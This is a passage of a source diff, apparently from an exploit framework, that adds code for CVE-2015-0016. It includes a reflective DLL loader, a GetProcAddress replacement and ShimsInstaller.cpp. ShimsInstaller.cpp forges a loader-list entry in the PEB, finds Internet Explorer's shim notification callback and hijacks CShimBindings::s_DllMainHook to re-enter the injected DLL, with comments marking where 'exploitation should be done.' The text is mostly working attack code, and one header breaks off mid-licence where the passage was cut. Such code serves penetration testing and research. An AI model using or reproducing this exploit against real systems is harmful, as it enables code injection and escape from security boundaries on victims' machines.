(HANDLE)-1, NULL, 0 ); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.h b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.h new file mode 100755 index 0000000000..3797879e47 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.h @@ -0,0 +1,203 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); +typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); +typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); +typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror( DWORD d ) +{ + return _rotr( d, HASH_KEY ); +} + +__forceinline DWORD hash( char * c ) +{ + register DWORD h = 0; + do + { + h = ror( h ); + h += *c; + } while( *++c ); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.cpp b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.cpp new file mode 100755 index 0000000000..6faddcf4d3 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.cpp @@ -0,0 +1,190 @@ +#include "ReflectiveLoader.h" +#include "ShimsInstaller.h" + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 + +typedef struct _MY_LDR_DATA_TABLE_ENTRY { + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + //PVOID Reserved3[2]; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + //BYTE Reserved4[8]; + PVOID Reserved5[3]; + union { + ULONG CheckSum; + PVOID Reserved6; + } DUMMYUNIONNAME; + ULONG TimeDateStamp; +} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY; + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA { + // Reserved. + ULONG Flags; + // The full path name of the DLL module. + PUNICODE_STR FullDllName; + // The base file name of the DLL module. + PUNICODE_STR BaseDllName; + // A pointer to the base address for the DLL in memory. + PVOID DllBase; + // The size of the DLL image, in bytes. + ULONG SizeOfImage; +} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef void (WINAPI *PNotificationFunc)(UINT, PLDR_DLL_LOADED_NOTIFICATION_DATA); +typedef int (WINAPI *PcshimBindingsHookFunc)(HINSTANCE, UINT, PVOID); +typedef BOOL (WINAPI *PentryPoint)(HINSTANCE, DWORD, LPVOID); + +static PMY_LDR_DATA_TABLE_ENTRY fakeLdrEntry = NULL; +static PLDR_DLL_LOADED_NOTIFICATION_DATA fakeNotification = NULL; +static LIST_ENTRY headBackup; + +static VOID CreateFakeNotification(HINSTANCE hinstDLL) +{ + fakeNotification = (PLDR_DLL_LOADED_NOTIFICATION_DATA)malloc(sizeof(LDR_DLL_LOADED_NOTIFICATION_DATA)); + fakeNotification->DllBase = hinstDLL; + fakeNotification->BaseDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR)); + fakeNotification->BaseDllName->pBuffer = L"WinRefl.dll"; + fakeNotification->BaseDllName->Length = wcslen(fakeNotification->BaseDllName->pBuffer) * 2; + fakeNotification->BaseDllName->MaximumLength = fakeNotification->BaseDllName->Length + 2; + fakeNotification->FullDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR)); + fakeNotification->FullDllName->pBuffer = L"WinRefl.dll"; + fakeNotification->FullDllName->Length = wcslen(fakeNotification->FullDllName->pBuffer) * 2; + fakeNotification->FullDllName->MaximumLength = fakeNotification->FullDllName->Length + 2; + fakeNotification->SizeOfImage = 0x1b000; + fakeNotification->Flags = 0; +} + +static VOID DeleteFakeNotification() { + free(fakeNotification->BaseDllName); + fakeNotification->BaseDllName = NULL; + free(fakeNotification->FullDllName); + fakeNotification->FullDllName = NULL; + free(fakeNotification); + fakeNotification = NULL; +} + +static VOID CreateFakeModule(PMY_LDR_DATA_TABLE_ENTRY templateEntry, PVOID dllBase, PVOID entryPoint) +{ + fakeLdrEntry = (PMY_LDR_DATA_TABLE_ENTRY)malloc(sizeof(MY_LDR_DATA_TABLE_ENTRY)); + memcpy(fakeLdrEntry, templateEntry, sizeof(LDR_DATA_TABLE_ENTRY)); + fakeLdrEntry->DllBase = dllBase; + fakeLdrEntry->EntryPoint = entryPoint; + fakeLdrEntry->SizeOfImage = 0x1b000; + fakeLdrEntry->FullDllName.pBuffer = L"WinRefl.dll"; + fakeLdrEntry->FullDllName.Length = wcslen(fakeLdrEntry->FullDllName.pBuffer) * 2; + fakeLdrEntry->FullDllName.MaximumLength = fakeLdrEntry->FullDllName.Length + 2; + fakeLdrEntry->BaseDllName.pBuffer = L"WinRefl.dll"; + fakeLdrEntry->BaseDllName.Length = wcslen(fakeLdrEntry->BaseDllName.pBuffer) * 2; + fakeLdrEntry->BaseDllName.MaximumLength = fakeLdrEntry->BaseDllName.Length + 2; +} + +static VOID DeleteFakeModule() +{ + free(fakeLdrEntry); + fakeLdrEntry = NULL; +} + +static VOID UnhookFakeModule() +{ + _PPEB pPeb = (_PPEB)__readfsdword(0x30); + + // Restore the InMemoryOrderModuleList + pPeb->pLdr->InMemoryOrderModuleList = headBackup; + pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(pPeb->pLdr->InMemoryOrderModuleList); + + DeleteFakeModule(); +} + +static VOID HookFakeModule(HINSTANCE hinstDLL, PVOID ep) { + PentryPoint entryPoint = (PentryPoint)ep; + _PPEB pPeb = (_PPEB)__readfsdword(0x30); + + LIST_ENTRY head = pPeb->pLdr->InMemoryOrderModuleList; + // Make Backup to restore later + headBackup = head; + + PMY_LDR_DATA_TABLE_ENTRY firstEntry = (PMY_LDR_DATA_TABLE_ENTRY)((BYTE *)head.Flink - (ptrdiff_t)8); + CreateFakeModule(firstEntry, hinstDLL, entryPoint); + + // Insert the fake entry in the InMemoryOrderModuleList + fakeLdrEntry->InMemoryOrderLinks.Flink = head.Flink; + fakeLdrEntry->InMemoryOrderLinks.Blink = head.Flink->Blink; + // Fix the list + pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(fakeLdrEntry->InMemoryOrderLinks); + pPeb->pLdr->InMemoryOrderModuleList.Flink = &(fakeLdrEntry->InMemoryOrderLinks); + + return; +} + +// Find a pointer to the IEshims!CShimBindings::_LdrNotificationCallback +static SIZE_T SearchLdrNotificationCallback() +{ + HMODULE ntdll = LoadLibraryA("ntdll.dll"); + FARPROC registerDllMethod = GetProcAddress(ntdll, "LdrRegisterDllNotification"); + PUCHAR searchPtr = (unsigned char *)registerDllMethod; + UCHAR testByte = 0x00; + SIZE_T pNotificationList = 0; + SIZE_T pNotificationCallback = 0; + for (int i = 0; i < 0x1000; i++) { + if (searchPtr[i] == searchPtr[i + 5] + 4 && + searchPtr[i + 1] == searchPtr[i + 6] && + searchPtr[i + 2] == searchPtr[i + 7] && + searchPtr[i + 3] == searchPtr[i + 8]) { + searchPtr = searchPtr + i; + pNotificationList = *(SIZE_T *)searchPtr; + break; + } + if (searchPtr[i] == searchPtr[i + 6] + 4 && + searchPtr[i + 1] == searchPtr[i + 7] && + searchPtr[i + 2] == searchPtr[i + 8] && + searchPtr[i + 3] == searchPtr[i + 9]) { + searchPtr = searchPtr + i; + pNotificationList = *(SIZE_T *)searchPtr; + break; + } + } + + memcpy(&pNotificationCallback, (SIZE_T *)pNotificationList, sizeof(SIZE_T)); + pNotificationCallback += sizeof(SIZE_T) * 2; + + return pNotificationCallback; +} + +VOID InstallShims(HINSTANCE hinstDLL, PVOID ep, LPVOID lpReserved) { + ULONG notificationStruct = 0; + PcshimBindingsHookFunc cshimBindingsHookFunc = NULL; + PNotificationFunc notificationCallback = NULL; + + // Create and Hook fake entry in the InMemoryOrderModuleList + HookFakeModule(hinstDLL, ep); + + // Create a fake LDR_DLL_LOADED_NOTIFICATION_DATA + CreateFakeNotification(hinstDLL); + + // Find IEshims!CShimBindings::_LdrNotificationCallback + memcpy(¬ificationCallback, (PVOID)SearchLdrNotificationCallback(), sizeof(PVOID)); + + // Call the IEshims!CShimBindings::_LdrNotificationCallback with the fake notification. + // It should install CShimBindings::s_DllMainHook as entry point on the fake LDR_DATA_TABLE_ENTRY + notificationCallback(LDR_DLL_NOTIFICATION_REASON_LOADED, fakeNotification); + + // Disclose the address of CShimBindings::s_DllMainHook + memcpy(&cshimBindingsHookFunc, &(fakeLdrEntry->EntryPoint), sizeof(SIZE_T)); + + // Call CShimBindings::s_DllMainHook by ourselves + // It should hijack our Reflective DLL and call the reflective entry point again... + cshimBindingsHookFunc(hinstDLL, DLL_PROCESS_ATTACH, lpReserved); + + // At this moment exploitation should be done, we free the fake LDR_DLL_LOADED_NOTIFICATION_DATA + DeleteFakeNotification(); + + // And finally Unhook the InMemoryOrderModuleList and free the resource + UnhookFakeModule(); + + ExitThread(0); +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.h b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.h new file mode 100755 index 0000000000..0351c25bed --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.h @@ -0,0 +1,5 @@ +#ifndef SHIMS_H +#define SHIMS_H + +VOID InstallShims(HINSTANCE, PVOID, LPVOID); +#endif \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/inject.sln b/external/source/exploits/cve-2015-0016/inject/inject.sln new file mode 100755 index 0000000000..e6c711e846 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/inject.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual C++ Express 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject.vcproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2015-0016/inject/inject.vcproj b/external/source/exploits/cve-2015-0016/inject/inject.vcproj new file mode 100755 index 0000000000..87312eb71c --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/inject.vcproj @@ -0,0 +1,360 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2015-0016/inject/inject.vcxproj b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj new file mode 100755 index 0000000000..14144ea1c8 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj @@ -0,0 +1,258 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {EEF3FD41-05D8-4A07-8434-EF5D34D76335} + inject + Win32Proj + + + + Application + v120 + MultiByte + true + + + Application + v110 + MultiByte + true + + + Application + v120 + Unicode + + + Application + v110 + Unicode + + + Application + v120 + MultiByte + true + + + Application + v120 + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + + + true + Console + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + + + true + Console + + + + + X64 + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + + + true + Console + MachineX64 + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;WIN_X86;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + true + Console + true + true + MachineX86 + + + copy ..\Release\inject.exe ..\bin\ + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + + + true + Console + true + true + $(OutDir)inject.arm.exe + %(AdditionalDependencies) + + + copy ..\ARM\Release\inject.arm.exe ..\bin\ + + + + + X64 + + + MaxSpeed + true + WIN64;NDEBUG;_CONSOLE;_WIN64;WIN_X64;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + $(OutDir)inject.x64.exe + true + Console + true + true + MachineX64 + + + copy ..\x64\Release\inject.x64.exe ..\bin\ + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj.filters similarity index 57% rename from external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters rename to external/source/exploits/cve-2015-0016/inject/inject.vcxproj.filters index fe135862f2..418896d025 100755 --- a/external/source/exploits/cve-2015-0016/cve-2015-0016/cve-2015-0016.vcxproj.filters +++ b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj.filters @@ -1,39 +1,35 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;hm;inl;inc;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - - - - Header Files - - - Header Files - - - - - Source Files - - - Source Files - - - Source Files - - + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.c b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.c new file mode 100755 index 0000000000..ef96dcbfbe --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.c @@ -0,0 +1,116 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "GetProcAddressR.h" +//===============================================================================================// +// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which +// wont be able to resolve exported addresses in reflectivly loaded librarys. +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) +{ + UINT_PTR uiLibraryAddress = 0; + FARPROC fpResult = NULL; + + if( hModule == NULL ) + return NULL; + + // a module handle is really its base address + uiLibraryAddress = (UINT_PTR)hModule; + + __try + { + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiNameOrdinals = 0; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; + + // get the VA of the modules NT Header + pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + + pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); + + // get the VA for the array of name pointers + uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); + + // test if we are importing by name or by ordinal... + if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) + { + // import by ordinal... + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); + + // resolve the address for this imported function + fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // import by name... + DWORD dwCounter = pExportDirectory->NumberOfNames; + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); + + // test if we have a match... + if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) + { + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // calculate the virtual address for the function + fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); + + // finish... + break; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + fpResult = NULL; + } + + return fpResult; +} +//===============================================================================================// \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.h b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.h new file mode 100755 index 0000000000..4f5170c31d --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/GetProcAddressR.h @@ -0,0 +1,36 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN 